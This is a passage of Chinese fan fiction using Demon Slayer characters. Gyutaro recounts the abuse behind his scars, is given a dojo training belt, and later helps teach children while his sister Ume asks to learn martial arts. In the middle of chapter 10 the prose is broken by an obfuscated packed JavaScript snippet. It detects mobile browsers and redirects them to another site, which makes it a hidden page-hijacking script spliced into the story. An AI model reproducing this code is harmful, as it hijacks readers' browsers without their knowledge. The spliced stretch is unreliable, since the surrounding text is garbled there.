妓夫太郎低着头,看着自己放在膝盖上的双手。那双手也布满了伤痕和冻疮,关节处粗大变形,都是长年累月留下的印记。 “冻疮…”妓夫太郎忽然开口,声音干涩,“每年冬天都这样。反反复复的。” 庆藏“嗯”了一声,没有催促,只是继续涂药。 “刚开始只是痒,挠破了就流水,然后烂开。”妓夫太郎盯着自己的手指,“没钱买药,就用雪擦。游郭的老人说雪能止血…其实更疼,但疼总比烂穿了好。” 他顿了顿,“后来习惯了。冬天来了就等着它烂,春天来了就等着它结痂。反正…反正死不了。” 狛治拧干了毛巾,开始小心地擦拭伤口周围已经清理干净的部分。他低着头,动作异常细致。 “有些是石子打的。”妓夫太郎继续说,声音平静得可怕,“游郭里其他小孩…嫌我丑,嫌我脏,拿石子扔我。我躲,他们就追着扔。砸到头破血流,他们才高兴。” 他抬手摸了摸额角一处已经淡去的疤痕,“这里…就是被一块尖石头砸的。流了好多血,我躺了三天。小梅那时候还在襁褓里,饿得直哭…我就硬打起精神爬起来,去偷米汤。” 庆藏涂药的手微微一顿。 “还有些…是给大人们干活时挨的。”妓夫太郎的声音低了下去,“搬酒坛、运货、扫院子…什么都干。可他们看见我的脸就皱眉,嫌晦气。干得慢要打,干得快也要打,说我想偷东西。工钱…从来不给足。去要,就打得更狠。” 他背上有一处特别深的凹陷,周围的肌肉都扭曲了。庆藏的手指抚过那里时,明显感觉到手下身体猛地一颤。 “这里…”妓夫太郎的声音终于有了些波动,“是铁棍打的。一个酒馆老板,说我偷了他柜台里的钱…我没偷。可他把我按在地上,用铁棍往死里打。打断了两根肋骨…这次我躺了半个月才勉强起来,可是不起来也不行啊…梅还那么小,不能饿着她。” 他说着,忽然笑了一下,那笑声又短又苦,“其实他柜台里根本没丢钱,是他自己赌输了,拿我撒气。” “畜生。”狛治忽然吐出两个字,声音压得很低,手臂上也爆起了青筋,足以看出主人情绪的波动。 庆藏看了他一眼,没说话,只是继续涂药。但他的呼吸明显变重了,胸腔起伏着,像有什么东西在里面冲撞。 药涂到手臂时,妓夫太郎沉默了一会儿,才又开口:“梅出生之后…我发现我很能打。” 他抬起头,眼神里有什么东西闪了闪,“不是说我能打赢,是说我特别能挨。别人打我,我可以忍着;他们打累了,我还能站起来。” “所以我就去做了收债人的打手。”他说得很平静,仿佛在说一件再普通不过的事,“那些人欠了钱不还,我就去‘劝’他们还。有时候是被欠债的人打…他们急红了眼,抄起什么就砸。有时候…是收债人打的。” “为什么…”庆藏问。 “因为工钱。”妓夫太郎扯了扯嘴角,“说好一天给多少,到日子了就变卦。我去要,他们就笑,说就你这副丑样子,给你口饭吃就不错了,还敢要钱?然后就让手下围过来打。” 他抬起左手,小臂上有一道狰狞的刀疤,“这个…就是那时候留下的。一个人拿了把生锈的菜刀,乱挥。我用手挡了一下…差点就断了。” 狛治手里的毛巾被攥得死紧,指节都泛白了。但他没说话,只是继续清理下一处伤口。 “最难受的…”妓夫太郎的声音忽然变得很轻,轻得几乎要听不见,“是梅生病的时候。” 房间里更静了。 “她发烧,烧得说胡话…我就抱着她,去讨吃的。”他低下头,肩膀微微发抖,“跪在街上,磕头,说好话…什么尊严都不要了。我什么都不要了。可那些人…他们扔过来的只有剩饭,有时候还是馊的。扔完了还要踢我几脚,让我滚远点,别脏了他们的门口。” 一滴水砸在榻榻米上,晕开一个小小的深色圆点。 是汗水吗?是泪水吗?还是别的什么,妓夫太郎他自己也说不清。 “还有…”他咬了咬牙,声音里终于带上了压抑不住的恨意,“有些人,在街上看见梅…看她长得漂亮,就…” 他的拳头握紧了,指甲掐进掌心,“就想对她动手动脚。摸她的脸,扯她的头发…梅吓得直哭。我冲上去,挡在她前面…可他们人多,我打不过。他们就笑,说丑八怪还想护着妹妹?一边笑,一边打。” 他背上那些横七竖八的伤痕,很多都是这样留下的——护着妹妹时,用背脊去挡住拳头、挡住木棍、挡住一切飞来的恶意。 庆藏涂药的手忽然重了一下。 “唔…”妓夫太郎闷哼一声,背肌剧烈地抽搐。 “抱歉!”庆藏立刻松手,声音里带着罕见的慌乱,“我…我手重了。” 他深呼吸了几次,才重新拿起药膏。这次动作更轻了,轻得像羽毛拂过。 “太郎…”庆藏开口,声音有些沙哑,“听我说。” 妓夫太郎没抬头。 “这些伤…”庆藏一字一句地说,每个字都沉甸甸的,“它们不是你的耻辱,是你的勋章。每一道疤,都是你保护妹妹、咬牙活下来的证明。你该为此骄傲——不是骄傲你受过苦,是骄傲你扛过来了。” 他的手稳稳地涂着药,“这世道对你们太坏了…坏到不配评判你们的样貌,不配嘲笑你们的挣扎。你们活下来了,这就是最大的本事。” 他顿了顿,看向妓夫太郎低垂的侧脸,“从今往后,在这里,没有人会因为你脸上的斑嫌弃你,没有人会因为你身上的疤看不起你。你是素流道场的弟子,是我庆藏的徒弟。这就够了。明白吗?” 妓夫太郎的肩膀颤抖得更厉害了。他死死咬着嘴唇,试图把喉咙里翻涌的哭咽和委屈硬生生吞回去。 一旁的狛治忽然站起身,一言不发地走了出去。 庆藏看了他的背影一眼,没说什么,只是继续给妓夫太郎包扎。布条一圈圈缠上去,包裹住那些狰狞的伤口,也像在包裹一颗千疮百孔的心。 等背上的伤处理完,狛治回来了。 他手里拿着一件东西——一条黑色的练功带。布料厚实,边缘用白色的丝线细细绣着两个字:素流。 “恋雪绣的。”狛治的声音依旧很平,但仔细听,能听出底下压着的情绪,“她说,我身为弟子有一条练功带,你也得有一条。” 他把带子递给庆藏。 庆藏接过,仔细看了看那细密的针脚,脸上露出温和的笑意,“那孩子…前两天确实在念叨这个。她说,不能厚此薄彼。狛治身为弟子有的,太郎也要有。” 他转向妓夫太郎,“正好,等过些日子,你的伤好得差不多了,咱们也办个正式的收徒仪式。之前只是口头说了说,得正式一些。到时候,拜师礼、敬茶、赐名…该有的流程都得有。” 妓夫太郎愣愣地看着那条黑色的带子。在道场这些天,他见过狛治系着同样的带子练功:黑色的布料衬着白色的练功服,束在腰间,利落又精神。 他从没想过,自己也能有一条。 “来,试试。”庆藏把带子递给他。 妓夫太郎小心翼翼地接过。布料入手柔软,却很有韧性。他学着记忆里狛治的样子,将带子在腰间绕了一圈,试图系上——可手指笨拙,系出来的结歪歪扭扭,带子一头长一头短,松松垮垮地搭着。 “不对。”狛治走了过来。 他在妓夫太郎面前蹲下,解开了那个丑丑的结,“看好了。” 黑色带子在他手中像活过来一样。他先将带子在妓夫太郎腰间比了比位置,“束在这里,不能太高,也不能太低——太高妨碍呼吸,太低影响发力。” 然后他示范如何交叉、如何绕圈、如何打结。动作不快,每个步骤都清晰。 “最后这个结,”狛治说,“要留出这么长的距离。”他用手指比了个宽度,“太短容易散,太长碍事。系紧了,但别太紧——要能塞进两根手指的松紧刚好。” 他系好,退开一步,“你自己试试。” 妓夫太郎照着他的样子,一点点重新系。第一次还是歪了,第二次松紧不对,第三次…终于,一个规整的结出现在他腰间。 黑色的带子束着瘦削的腰身,白色的“素流”二字端正地贴在身侧。 “很好。”狛治点点头。 庆藏也笑了,“这才像样。” 妓夫太郎低头看着那条带子,手指轻轻抚过绣字的地方。针脚细密,一针一线都扎实。他能想象出恋雪坐在窗边,就着日光认真刺绣的样子——就像这些天她给他们改衣服,给小梅梳头时,温柔又专注。 “谢谢…”他哑声说,不只是对眼前的庆藏和狛治,也是对那个在隔壁房间休息的温柔少女。 下午,庆藏出门了。 他说是一个多年未见的老友正好路过这一带,约他聚一聚。下午原本要给三个孩子上的课,已经提前跟家长们说好,改到了上午——所以整个下午,道场里就剩下他们几个。 狛治收拾完换药的杂物,对妓夫太郎说,“休息半个时辰,等药生效,然后咱们一起去院子。我教你上午那几个孩子练的基础拳法。” “好。” 半个时辰后,两人站在了院子里。 “看好了。”狛治说。 然后他开始演示——不是很快,但每一个动作都极其清晰:如何蹬地,如何转腰,如何送肩,如何出拳。力量从脚底升起,顺着腿、腰、背、肩,最终贯注到拳头上。 “素流的基础拳法,讲究根稳力顺。”狛治一边做一边讲解,“脚要像钉在地上,腰要像磨盘转动,肩要像门轴开合——最后拳头出去,不是手臂的力,是整个身体的力。” 他收势,看向妓夫太郎,“你试试。别求快,先把动作做对。” 妓夫太郎点头,摆开架势。 他回忆着上午旁观时看到的,回忆着狛治刚才的演示。蹬地,转腰,送肩——拳头挥出。 “腰转多了。”狛治立刻指出,“转腰是为了带动肩膀,不是自己乱转。再来。” 第二次。 “脚动了。根不稳,力就散了。” 第三次。 “肩膀太僵。放松,像门轴——不是铁疙瘩。” 一次又一次。狛治的指导简洁而精准,没有多余的话,每次都直指要害。妓夫太郎也不气馁,错了就重来,汗流下来就擦掉,呼吸乱了就调整。 渐渐地,动作开始有了模样。 当妓夫太郎终于完整打出一套基本拳法,虽然还有些生涩,但每个发力环节都基本正确时,狛治点了点头。 “可以了。记住这个感觉,基础拳法以后每天练一百遍。” “是。” 两人正说着,道场门口传来窸窸窣窣的声音。三个小脑袋从门边探出来——是上午来上课的那三个孩子。 “狛治哥哥!太郎哥哥!”其中一个胆子大点的孩子喊道,“我们…我们能进来玩吗?” 狛治看向妓夫太郎,用眼神询问。妓夫太郎有些无措——他还没习惯和除了妹妹以外的孩子相处。 “进来吧。”狛治替他说了,“但别吵到里屋休息的人。” 三个孩子欢呼一声,跑了进来。他们围着妓夫太郎,眼睛亮晶晶的。 “太郎哥哥!你上午看我们上课,学会了吗?” “刚才我们在外面看见你打拳了!好厉害!” “比我们打得好多了!” 妓夫太郎被夸得耳根发红。他张了张嘴,不知道该说什么——在游郭,孩子们对他只有嘲笑和石子。这种直白又真诚的称赞,让他手足无措。 “他练得比你们用心。”狛治在一旁淡淡地说,“你们好好练,也能做到。” “真的吗?”孩子们看向他。 “嗯。”狛治点头,“但得每天坚持。 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带子这边,是道场,是训练,是孩子们真诚的眼睛,是庆藏师父厚重的手掌,是狛治简洁的指导,是恋雪温柔的针线,是小梅无忧无虑的笑声。 带子那边…是游郭的雪夜,是腐烂的冻疮,是冰冷的剩饭,是挥舞的铁棍,是无尽的咒骂和拳头。 他系紧了带子。 很紧,但正好——紧到能时刻感觉到它的存在,紧到每一次呼吸都能想起自己现在是谁:素流道场的弟子,庆藏的徒弟,小梅的哥哥。 也是…可以被孩子们围着叫“太郎哥哥”的人。 太阳又往下沉了一点。 狛治看了看天色,对孩子们说,“好了,你们几个该回家了,不然家里人要担心。” 孩子们虽然不舍,但还是乖乖地行礼道别。跑到门口时,那个胆子最大的孩子回头喊了一句, “太郎哥哥!明天我们还要来看你练功!” 妓夫太郎愣了一下,然后,很慢很慢地,点了点头。 “好。” 孩子们跑远了。院子里又安静下来。 狛治开始收拾练功用的器具。妓夫太郎走过去帮忙。 两人默默地收拾着,谁也没说话。 收拾完,狛治忽然说,“太郎,你学得很快。” 妓夫太郎抬头看他。 “我说真的。”狛治的语气很真诚,“我当初学这套拳法,花了至少七天才打到你这个程度。” “…是吗?” “嗯。”狛治把最后一把木刀放回架子上,“师父说过,吃过苦的人,学东西往往更快。因为他们知道为什么要学。” 他看向妓夫太郎,“你知道为什么要学吗?” 妓夫太郎沉默了一会儿。 “为了保护。”他说,“保护小梅,保护道场,保护…这些。” 他指了指孩子们离开的方向,又指了指主屋——那里,恋雪和小梅应该已经起来了,或许正在嬉笑着聊天,或许在继续那件没做完的针线。 “嗯。”狛治点点头,嘴角似乎有淡淡的弧度,“那就好好学。” 夕阳的余晖将两人的影子拉得很长很长,在青石板地上交融在一起。 远处传来炊烟的味道,是邻居家开始做晚饭了。道场的厨房里也亮起了灯,隐约能听见小梅清脆的笑声,还有恋雪温柔的应答。 妓夫太郎摸了摸腰间的练功带。 带子很扎实,绣字的地方微微凸起,摸上去有一种实实在在的触感。 他忽然想起庆藏师父下午说的话,“等过些日子,办个正式的收徒仪式。” 仪式…会是什么样的呢?要磕头吗?要敬茶吗?要说什么话吗? 他不知道。 但他知道,他会认真对待——就像对待每一次呼吸训练,每一个马步,每一拳,每一条伤疤,每一份突如其来的善意。 因为这一切,都是他用尽全力才抓住的。 而这一次,他不会再放手。 绝对不会。 夜幕降临时,庆藏回来了。 他带回了一包点心,说是老友给的。点心用油纸包着,打开时甜香四溢——是金平糖和三色团子。 “正好,当饭后甜点。”庆藏笑呵呵地说。 晚饭时,小梅看见了妓夫太郎腰间的练功带,眼睛睁得圆圆的。 “哥哥!这个!好好看!” “嗯。”妓夫太郎给她夹了块炖得烂烂的萝卜,“是恋雪姐姐绣的。” 小梅立刻看向恋雪,“恋雪姐姐!我也想要!” 恋雪温柔地笑了,“等小梅再长大一点,如果和哥哥一样开始学武了,姐姐也给你绣一条,好不好?” “好!”小梅用力点头,然后小声补充,“那我可不可以要别的颜色的…” 大家都笑了。 晚饭后,庆藏把妓夫太郎叫到一边,低声说,“我那位老友,是位云游的医师。我跟他说了你的情况,他给了个方子。说是对陈旧伤疤和冻疮留下的印记特别有效。” 他从怀里掏出一张纸,“药材有点难找,但慢慢凑,总能凑齐。等凑齐了,咱们就试试。” 妓夫太郎接过药方。纸上的字迹工整,墨迹还很新。 “谢谢…师父。” “谢什么。”庆藏拍拍他的肩,“早点休息。明天继续。” “是。” 夜深了。 妓夫太郎躺在被褥里,手不自觉地又摸向带子——睡觉时解下来了,就放在枕边。 黑暗中,他听见房间里小梅还有隔壁房间恋雪小姐平稳的呼吸声,听见主屋庆藏师父轻微的鼾声,听见走廊另一头狛治房间安静无声——那人大概还没睡,可能在温习拳谱,也可能只是在发呆。 这些声音交织在一起,成了最安心的摇篮曲。 他闭上眼睛,脑海里浮现出白天的一切:换药时背上冰凉的触感,庆藏师父沉重的话语,狛治教他系带子时认真的侧脸,孩子们围着他时亮晶晶的眼睛… 最后定格在腰间的黑色带子上。 “素流”。 这两个字,从今天起,有了重量。 不是轻飘飘的名号,是沉甸甸的承诺——承诺要变强,承诺要守护,承诺要活得像个人样。 他攥紧了带子,布料在掌心摩擦,发出细微的沙沙声。 然后他睡着了。 这一次,他梦见自己系着黑色的练功带,站在道场的院子里。阳光很好,小梅在廊下笑着拍手,恋雪温柔地看着,狛治在一旁点头,庆藏师父郑重地说: “从今天起,你就是素流正式的弟子了。” 他弯腰,行礼。 腰间的带子随风轻轻飘动。 白色的“素流”二字,在阳光下闪闪发光。 10. 梅蕾初绽 天刚蒙蒙亮,道场的大门就被“咚咚”地敲响了。 还不等狛治给他们打开,三个小脑袋就迫不及待地探进来了——是健太他们。这三个孩子自从上次在院子里看妓夫太郎练功后,就像被黏住了一样,每天清早准时报道。 “庆藏师父早!狛治哥哥早!太郎哥哥早!” 声音脆生生的,带着小孩子特有的朝气与蓬勃。 狛治正在院子里摆木桩,闻声头也没抬,“你们三个进来之后记得把鞋脱了放整齐,地上有露水,小心滑,不要摔倒。” “好!” 孩子们手忙脚乱地脱鞋,鞋带系得乱七八糟的,东一只西一只丢在玄关。狛治余光扫见,眉头皱了一下,但没说话。倒是妓夫太郎从屋里走出来,蹲下身,一只只捡起来摆正,又顺手把松掉的鞋带系好。 “要这样系,”他示范着,“才不容易散。” 健太挠挠头,“太郎哥哥真细心。” 妓夫太郎没接话,只是站起身。他身上那套白色练功服已经改得合身了,是恋雪前几天赶出来的。布料干净柔韧,腰间的黑色练功带束得一丝不苟。 “狛治哥,今天练什么?”他问狛治。 “步法。”狛治指了指地上用白粉画出的格子,“还是基础的那套,但加上转身。师父说,该教你们怎么在移动中保持重心了。” 妓夫太郎点点头,走到格子前站定。 三个孩子立刻有样学样,挨着他排成一排。小不点的个头只到他腰,却挺胸抬头,努力摆出“我很认真”的架势。 阳光一点点爬上屋檐。 狛治站在最前面,开始示范。他的动作不快,但每个转身、每个撤步都都十分平稳。脚步踩在格子的交点上,分毫不差。 “看脚下,别看我的脸。”他说,“重心跟着脚走。转腰的时候,脚要提前挪到位。” 话没说完,健太左脚绊右脚,“噗通”一声坐在地上。 旁边两个孩子没憋住,“噗嗤”笑出声。 健太脸涨得通红,手忙脚乱想爬起来,越急越乱。一只瘦削却有力的手伸到他面前——是妓夫太郎。 “慢慢来。”妓夫太郎把他拉起来,声音不高,“我第一次练的时候,摔得比你多。” “真的?”健太眼睛亮了。 “嗯。”妓夫太郎松开手,重新站回格子前,“摔倒了再站起来就行。重要的是记住为什么会摔。” 狛治看了他一眼,眼里有淡淡的笑意,但很快又板起脸,“都站好,重新开始。” 这一次,孩子们更认真了。 妓夫太郎在他们中间,动作比狛治稍显生涩,但每个细节都力求标准。转身时腰背绷成一张弓,撤步时脚掌贴着地面滑出去——这是狛治教他的技巧,说能减少声音,实战时不容易被察觉。 汗水顺着鬓角滑下来,滴在白粉画出的格子上,晕开一个个小小的圆点。 “哥哥好厉害…” 廊下传来小小的声音。 是小梅。她不知什么时候醒了,扒着门框往外看。身上还裹着被子,头发乱蓬蓬的,但眼睛格外亮。 恋雪跟在她身后,手里拿着梳子,无奈地笑,“小梅,先回来梳头,不然头发会打结的。” “我想看哥哥练功。”小梅不肯挪脚,“就一会儿,就一会儿嘛,恋雪姐姐。我就看一小会儿” 恋雪拗不过她,只好搬了个小凳子坐在廊下,一边给她梳头,一边看着院子里的晨练。 梳子穿过柔软的发丝,一下,又一下。 小梅的视线一直跟着哥哥移动。她看见哥哥转身时衣摆扬起一个利落的弧度,看见他脚下的白粉格子被汗水浸得颜色变深,看见他腰间的黑色带子随着动作轻轻晃动。 “恋雪姐姐,”她忽然小声说,“我也想学。” “嗯?”恋雪手上动作不停,“学什么?” “学武。”小梅转过头,眼神认真得不像个孩子,“哥哥在学,狛治哥哥在学,健太他们也在学。我也想学。” 恋雪愣了一下。 “我想保护大家。”小梅继续说,声音软软的,却很坚定,“哥哥说要保护我,我也想保护哥哥,保护恋雪姐姐,保护庆藏师父,保护狛治哥哥…还有健太他们。” 她掰着手指数,数到后来手指不够用了,有点着急,“反正就是,想保护所有人。” 廊下静了一瞬。 院子里,妓夫太郎刚完成一组转身撤步,正好听见这话。他动作顿了顿,回头看向妹妹。 晨光里,小梅坐在那儿,头发被恋雪梳成可爱的花苞头,发绳是淡粉色的,还搭上了那支樱花簪,和她的小褂一个颜色。她仰着小脸,眼神干净又执着。 那一瞬间,妓夫太郎心里有什么东西轻轻动了一下。 在游郭的那些年,他拼了命地保护妹妹,从没想过。或者说,他也从不敢想,有一天妹妹也会说出“想保护哥哥”。 因为保护者总是伤痕累累的,他不想让妹妹尝那种滋味。 可是现在,在这个清晨的道场里,听着妹妹用稚嫩的声音说“想保护所有人”,他忽然觉得…好像也不是不可以。 “想学的话,”庆藏的声音从主屋门口传来,他披着外衣,手里端着一杯热茶,笑眯眯的,“等小梅再长大一点,身体再好一点,我亲自教你。” “真的?”小梅眼睛一下子亮了。 “真的。你庆藏师父什么时候骗过你们!”庆藏走到廊下,揉了揉她的头,“不过在那之前,得先养好身体,好好吃饭,好好睡觉。练武可是很累的哦。” “我不怕累!”小梅挺起小胸脯。 大家都笑了,院子里洋溢着欢快的气息。 晨练继续。 孩子们的动作越来越像样,虽然还是会有磕绊,但摔倒的次数明显少了。健太尤其认真,每次转身都要抿着嘴,眉头皱得紧紧的,仿佛在完成什么重大使命。 狛治一个个纠正他们的姿势。 “腰挺直,不是让你往后仰。” “脚掌贴地,别抬太高。” “呼吸,别忘了呼吸。” 他话不多,但每句都点在要害上。妓夫太郎在一旁默默听着,偶尔在自己练习时把那些要点在心里过一遍。 有一回健太练得太投入,转身时没收住力道,整个人往旁边歪去,眼看就要撞上摆在一旁的木桩。 妓夫太郎几乎是本能地伸手,一把拉住他的后领。 “小心。” 健太惊魂未定地站稳,回头看见是妓夫太郎,脸又红了,“谢、谢谢太郎哥哥…” “没事。”妓夫太郎松开手,顿了顿,又补了一句,“转身的时候,脚要提前半步到位。你刚才脚落晚了,所以重心不稳。” “哦、哦!”健太用力点头,照着试了试,果然稳多了。 竹雄和宗之介见状,也围过来,“太郎哥哥,那我刚才那个转身呢?”“还有我,还有我,太郎哥哥!我撤步的时候总觉得别扭…” 妓夫太郎被三个小不点围着,一时有些无措。他下意识地看向狛治,狛治正抱着手臂站在一边,见他看过来,轻轻点了点头。 那眼神好像在说:你教得不错,继续吧。 妓夫太郎深吸一口气,蹲下身,让自己和孩子们视线平齐。 “你,”他指着宗之介,“撤步的时候脚掌要贴着地,别抬起来。像这样——” 他示范了一遍。 孩子学着做,虽然还是笨拙,但明显比刚才好多了。 “还有你,”他又看向竹雄,“转身的时候眼睛要看着要去的方向,别盯着脚下。” “好!” 三个孩子像得了什么秘籍似的,兴高采烈地继续练习。妓夫太郎站起身,看着他们,嘴角不自觉地弯了一下。 很轻的弧度,不仔细看几乎看不见。 但狛治看见了。他走到妓夫太郎身边,低声说,“教得不错。” “不是…是健太他们学得快。” “不,”狛治摇摇头,“是你教得好。知道为什么吗?” 妓夫太郎看向他。 “因为你记得自己当初是怎么学会的。”狛治说,“记得那些难点在哪,记得摔过哪些跟头。这样教出来的东西,最实在。” 妓夫太郎沉默了。 他确实记得。记得第一次扎马步时大腿抖得像筛糠,记得第一次练拳时怎么都发不对力,记得第一次练步法时摔了多少跤。 那些疼痛、挫败、还有一点点进步的喜悦,他都记得。 所以当孩子们遇到同样的困难时,他知道该怎么帮他们。 “不过,”狛治话锋一转,“你还是太绷着了。” “什么?” “教孩子的时候。”狛治朝健太他们抬了抬下巴,“可以放松一点。他们不怕你,你用不着那么紧张。” 妓夫太郎愣了一下。 紧张吗?好像是有点。因为从来没被人这样围着问过问题,因为从来没当过“被请教”的那个人。在游郭,他是被嫌弃、被驱赶的那个,孩子们看见他都躲着走。 而现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16919624|192542||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这三个孩子会仰着脸叫他“太郎哥哥”,会眼巴巴地等他指点,会因为他一句夸奖而高兴半天。 这感觉太陌生了。 “慢慢来。”狛治拍了拍他的肩,“习惯了就好。” 晨练结束时,太阳已经完全升起来了。 孩子们一个个累得满头大汗,但脸上都挂着笑。健太临走前还特意跑到妓夫太郎面前,鞠了一躬,“谢谢太郎哥哥!我明天还来!” “嗯。”妓夫太郎点点头,“路上小心。” “知道啦!” 孩子们叽叽喳喳地跑远了。院子里一下子安静下来,只剩下风吹过树梢的声音,还有廊下恋雪和小梅轻声说话的声音。 狛治开始收拾练习用的木桩。妓夫太郎过去帮忙。 两人一人抬一头,把沉重的木桩挪到墙角。动作默契,谁也没说话。 收拾完,狛治忽然问,“小梅说想学武,你怎么想?” 妓夫太郎动作顿了顿。 “小梅她身体底子终归差了点,这些年在游郭总是吃不饱穿不暖…”他低声说,“练武又太辛苦…” “师父说了,等她身体再好一点。”狛治说,“而且,练武不一定要打打杀杀。强身健体,学点防身的本事,总是好的。” 妓夫太郎沉默了一会儿。 他想起了很多事。想起在游郭时,那些朝小梅伸过来的、不怀好意的手;想起自己拼了命挡在她前面,却还是会被打倒在地;想起小梅吓得发抖的样子… 如果妹妹能学点本事,至少、至少,在面对危险时能跑得快一点,能躲得开一点。 “嗯。”他终于点了点头,“也好。” 狛治看了他一眼,没再说什么,只是转身往厨房走,“我去准备早饭。你带恋雪和小梅去洗脸吧。” “好。” 早饭是简单的味噌汤和烤饭团。 四个人围坐在被炉旁,庆藏坐在主位,慢悠悠地喝着汤。恋雪身体似乎比前些天好了些,能坐直了,只是脸色还是有些苍白。 小梅挨着哥哥坐,小口小口地吃着饭团,眼睛却一直往庆藏那边瞟。 “庆藏师父,”她终于忍不住开口,“我什么时候可以开始学呀?” 庆藏笑了,“小梅这么着急啊?” “嗯!”小梅用力点头,“我想快点变厉害,保护大家!” “保护大家啊…”庆藏放下碗,认真地看着她,“小梅,你知道保护是什么意思吗?” 小梅想了想,“就是…不让大家受伤吗?” “对,也不对。”庆藏温和地说,“保护,首先是要让自己变强。只有自己强大了,才有能力去保护别人。但变强不是为了欺负人,是为了在有人需要帮助的时候,你能伸出手。” 他顿了顿,看向妓夫太郎和狛治,“就像你哥哥和狛治哥哥现在做的一样。他们练武,是为了能保护这个家,保护身边的人。” 小梅似懂非懂地点点头。 “所以啊,”庆藏摸摸她的头,“想保护大家是好事。但在那之前,要先把自己照顾好。好好吃饭,好好睡觉,把身体养得壮壮的——这就是你现在最重要的修炼,知道吗?” “知道啦!”小梅大声应道,然后埋头努力吃饭团,仿佛多吃一口就能离庆藏师父口中的“变强”更近一步。 饭后,狛治收拾碗筷,妓夫太郎和庆藏留在主屋。 “师父,”妓夫太郎犹豫了一下,还是开口,“小梅她…真的可以学武吗?” 庆藏看了他一眼,“担心?” “嗯…”妓夫太郎低下头,“她在游郭身体一直不太好,总是生病。练武太累,我怕她吃不消。” “我明白。”庆藏叹了口气,“但太郎,你有没有想过,小梅为什么突然说想学武?” 妓夫太郎愣住了。 “是因为她看见了你在努力。”庆藏缓缓地说,“看见了你每天早起练功,看见你身上的伤慢慢好起来,看见你变得越来越强。孩子是最会模仿的,尤其是她那么崇拜你。” 他顿了顿,声音更温和了些,“她想学武,不是因为觉得好玩,而是因为她想变得像你一样——想成为一个能保护别人的人。” 妓夫太郎喉咙有些发紧。 “所以啊,”庆藏拍拍他的肩,“这是好事。说明她把这里当家了,把我们都当成真正的家人了。至于身体…慢慢来。先从最基础的开始,不着急。有你在旁边看着,有狛治帮着教,有我这个老头子把关,出不了岔子。” “是,师父…”妓夫太郎低声应道。 11. 梳影惹梅疑 午后的窗外,阳光正好。 院子里那棵老树的影子投在廊下,斑斑驳驳的。有小鸟落在枝头,叽叽喳喳地叫着。 下午的道场很安静。三个孩子的课还没开始,只余下妓夫太郎和狛治两个人在院子里练功。 妓夫太郎按照庆藏师父前几天教的,在廊下练习呼吸。盘腿坐着,背挺直,眼睛微闭。系着练功带后,他能更清晰地感觉到腹部的起伏——吸气时腰带微微绷紧,呼气时松下来。 练到一半,他听见小梅的笑声。 睁开眼,看见小梅正从主屋跑出来,身上穿着恋雪新给她做的浅粉色衣裳,上面还绣着栩栩如生的樱花。 “哥哥!”小梅跑到他面前,转了个圈,“恋雪姐姐给我做的!好看吗?” “好看。”妓夫太郎说,这是实话。 小梅确实好看。在游郭时,虽然依旧可以看出来好看,但是因为营养不良还是掩盖了几分她的样貌。现在吃了几顿饱饭,洗干净了,换上了干净衣服,那张小脸便透出原本惊人的精致来。眼睛大而亮,睫毛长长的,皮肤虽然还有一点苍白,但已经有了光泽。 “恋雪姐姐说,等开春了,带我去看樱花。”小梅在他身边坐下,晃着两条小腿,“恋雪姐姐说樱花是粉色的,像我衣服这个颜色。还有别的好多好多颜色,一起开的时候可漂亮啦!” “嗯。” “哥哥要不要一起去!还有狛治哥哥,庆藏师父,都一起去!” “去。那你可要记得和狛治哥还有庆藏师父说啊” 小梅满足了,安静了一会儿,看妓夫太郎继续练呼吸。她学着他的样子,也盘腿坐好,闭上眼睛,小胸脯一起一伏。 没过多久,她就憋不住了,“噗嗤”笑出声。 “怎么了?”妓夫太郎睁开眼。 “哥哥刚才的样子,”小梅指着他的脸,“像庙里的石狮子!一本正经的!” 妓夫太郎愣了一下,随即嘴角也弯起来。他伸手去揉小梅的头发,小梅“咯咯”笑着躲开。 兄妹俩闹了一会儿,小梅忽然说,“哥哥,我想吃金平糖。” “昨天恋雪小姐不是给了你几颗吗?” “吃完了。”小梅理直气壮,“恋雪姐姐说不能多吃,一天只给两颗。但我今天还没吃呢。” 妓夫太郎想了想,“我去问问恋雪小姐。” 他起身往屋内走,小梅跟在他身后蹦蹦跳跳。 主屋里,恋雪正坐在窗边做针线。她膝盖上摊着一件白色的练功服——是给妓夫太郎改的第二套,正在收尾。 阳光从窗口斜斜照进来,在她身上镀了层柔和的金边。她低着头,针线在手指间翻飞,动作流畅又安静。听见脚步声,她抬起头,露出温柔的笑。 “太郎,小梅,怎么啦?” “小梅想吃金平糖。”妓夫太郎有些不好意思地说,“昨天您给的那些…她已经吃完了。” 恋雪笑了,从身边的匣子里拿出一个小纸包,打开,里面是几颗亮晶晶的金平糖。她先递给妓夫太郎一颗,“太郎也吃。” 妓夫太郎摇头,“不用,恋雪小姐,我不…” “拿着。”恋雪不由分说地塞进他手里,“甜的,吃了心情好。” 然后她才给了小梅两颗,“说好的,一天两颗。要慢慢含,不要咬碎哦。” 小梅欢天喜地地接过来,先分了一颗给妓夫太郎,“哥哥也吃!” 妓夫太郎看着掌心那两颗糖,晶莹剔透,在阳光下像亮晶晶的。他放进嘴里,甜味慢慢化开,从舌尖蔓延到整个口腔。 很甜。 他很久没吃过这么甜的东西了。 小梅挨着恋雪坐下,含着糖,含糊不清地问,“恋雪姐姐在做什么呀?” “给太郎哥哥改衣服呀。”恋雪把手里的衣服展开给她看,“你看,这里收窄一点,这里放长一点…这样穿着练功才舒服。” 小梅凑过去看,忽然指着自己的袖子说,“那我的袖子能不能也改短一点?昨天吃饭的时候,差点沾到汤里。” 恋雪被逗笑了,“好呀,等姐姐做完这件,就给你改。” “恋雪姐姐最好了!”小梅扑进她怀里撒娇。 恋雪温柔地搂着她,手指轻轻梳理她的头发。她抬头看向妓夫太郎,发现他还站在门口,便招招手,“太郎,过来坐。” 妓夫太郎走过去,在她们对面坐下。 “今天药换好了吗?”恋雪问。 “换好了。” “伤口还疼吗?” “不疼了。”妓夫太郎顿了顿,“药膏凉凉的,很舒服。” 